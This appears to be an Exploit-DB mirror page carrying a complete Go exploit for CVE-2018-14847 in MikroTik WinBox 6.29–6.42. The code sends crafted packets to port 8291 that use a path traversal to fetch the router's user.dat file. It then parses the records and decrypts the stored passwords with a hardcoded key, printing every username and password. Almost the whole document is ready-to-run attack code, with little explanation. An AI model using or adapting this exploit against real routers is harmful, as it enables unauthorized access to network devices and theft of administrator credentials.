Mikrotik WinBox 6.42 – Credential Disclosure (golang)

  • 作者: Maxim Yefimenko
    日期: 2018-08-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45209/
  • /*
    
    # Title: Mikrotik WinBox 6.42 - Credential Disclosure ( golang edition )
    # Author: Maxim Yefimenko ( @slider )
    # Date: 2018-08-06
    # Sotware Link: https://mikrotik.com/download
    # Vendor Page: https://www.mikrotik.com/
    # Version: 6.29 - 6.42
    # Tested on: Fedora 28 \ Debian 9 \ Windows 10 \ Android ( wherever it was possible to compile.. it's golang ^_^ )
    # CVE: CVE-2018-14847
    # References:
    # ( Alireza Mosajjal ) https://github.com/mosajjal https://n0p.me/winbox-bug-dissection/
    # ( BasuCert ) https://github.com/BasuCert/WinboxPoC
    # ( manio ) https://github.com/manio/mtpass/blob/master/mtpass.cpp
    # and special thanks to Dmitriy_Area51
    
    */
    
    package main
    
    import (
    	"crypto/md5"
    	"fmt"
    	"net"
    	"os"
    	"strings"
    	"time"
    )
    
    var (
    	a = []byte{0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
    		0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
    		0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
    		0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
    		0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
    		0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
    		0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
    		0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
    		0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
    		0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
    		0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
    		0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
    		0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
    		0x00, 0x00}
    
    	b = []byte{0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
    		0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
    		0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
    		0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
    		0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
    		0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
    		0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
    		0x00, 0x02, 0x00, 0x00, 0x00}
    
    	buf = make([]byte, 1024*8)
    )
    
    func checkErr(err error) {
    	if err != nil {
    		fmt.Println("Error:" + err.Error())
    	}
    }
    
    func decryptPassword(user []byte, passEnc []byte) string {
    	var passw []byte
    	hasher := md5.New()
    	hasher.Write(user)
    	hasher.Write([]byte("283i4jfkai3389"))
    	key := hasher.Sum(nil)
    
    	for i := 0; i < len(passEnc); i++ {
    		passw = append(passw, passEnc[i]^key[i%len(key)])
    	}
    
    	return string(ASCIIonly(passw))
    }
    
    func ASCIIonly(s []byte) []byte {
    	for i, c := range s {
    		if c < 32 || c > 126 {
    			return s[:i]
    		}
    	}
    	return s
    }
    
    func extractPass(buff []byte) (s []string) {
    	var (
    		usr []byte
    		pwd []byte
    	)
    
    	//searching for StartOfRecord
    	for i := 0; i < len(buff); i++ {
    
    		if i+2 >= len(buff) {
    			break
    		}
    
    		if (buff[i] == 0x4d) && (buff[i+1] == 0x32) && (buff[i+2] == 0x0a || buff[i+2] == 0x10) {
    			// fmt.Printf("Probably user record at offset 0x%.5x\n", i)
    
    			//some bytes ahead is enable/disable flag
    			i += int((buff[i+2] - 5))
    			if i >= len(buff) {
    				break
    			}
    
    			//searching for StartOfRecNumber
    			if i+3 >= len(buff) {
    				break
    			}
    
    			for !((buff[i] == 0x01) && ((buff[i+1] == 0x00) || (buff[i+1] == 0x20)) && (buff[i+3] == 0x09 || buff[i+3] == 0x20)) {
    				i++
    				if i+3 >= len(buff) {
    					break
    				}
    			}
    
    			i += 4
    			if i >= len(buff) {
    				break
    			}
    			// fmt.Printf("SORn: 0x%X\n", i)
    
    			// comment?
    			i += 18
    			if (i + 4) >= len(buff) {
    				break
    			}
    			if (!((buff[i+1] == 0x11) && (buff[i+2] == 0x20) && (buff[i+3] == 0x20) && (buff[i+4] == 0x21))) && (buff[i-5] == 0x03 && (buff[i] != 0x00)) {
    				if (i+1)+int(buff[i]) >= len(buff) {
    					break
    				}
    				i += int(buff[i])
    			} else {
    				i -= 18
    			}
    
    			//searching for StartOfPassword
    			if i+4 >= len(buff) {
    				break
    			}
    
    			for !((buff[i] == 0x11) && (buff[i+3] == 0x21) && ((buff[i+4] % byte(0x10)) == 0)) {
    				i++
    				if i+4 >= len(buff) {
    					break
    				}
    			}
    			i += 5
    			if (i + 3) >= len(buff) {
    				break
    			}
    
    			if (buff[i-1] != 0x00) && !((buff[i] == 0x01) && ((buff[i+1] == 0x20 && buff[i+2] == 0x20) || (buff[i+1] == 0x00 && buff[i+2] == 0x00)) && (buff[i+3] == 0x21)) {
    				pwd = buf[i-1+1 : int(buf[i-1])+i-1+1]
    				i += int(buff[i-1])
    			}
    
    			//searching for StartOfUsername
    			if i+3 >= len(buff) {
    				break
    			}
    			for !((buff[i] == 0x01) && (buff[i+3] == 0x21)) {
    				i++
    				if i+3 >= len(buff) {
    					break
    				}
    			}
    
    			i += 4
    			if i >= len(buff) {
    				break
    			}
    			if buff[i] != 0x00 {
    				if i+int(buff[i]) >= len(buff) {
    					break
    				}
    
    				usr = ASCIIonly(buff[i+1 : int(buff[i])+i+1])
    				i += int(buff[i])
    			}
    
    			decrypted := decryptPassword(usr, pwd)
    			//fmt.Printf(" --> %s\t%s\n", buff[i], decrypted)
    
    			if len(usr) != 0 {
    				s = append(s, strings.Join([]string{string(usr), string(decrypted)}, ":"))
    			}
    
    		}
    	}
    
    	return s
    }
    
    func main() {
    
    	if len(os.Args) < 2 {
    		fmt.Printf(" [ usage: %s 192.168.88.1\n\n", os.Args[0])
    		os.Exit(0)
    	}
    
    	conn, err := net.DialTimeout("tcp", os.Args[1]+":8291", time.Duration(3*time.Second))
    
    	if err != nil {
    		fmt.Println(err.Error())
    		return
    	}
    
    	defer conn.Close()
    
    	conn.Write(a)
    	reqLen, err := conn.Read(buf)
    	checkErr(err)
    	if reqLen < 38 {
    		panic("First packet is too small")
    	}
    
    	b[19] = buf[38]
    
    	conn.Write(b)
    	reqLen, err = conn.Read(buf)
    	checkErr(err)
    	db := buf[:reqLen]
    
    	s := extractPass(db)
    	for i, acc := range s {
    		data := strings.SplitN(acc, ":", 2)
    		fmt.Printf(" [%d] %s\t%s\n", i, data[0], data[1])
    	}
    }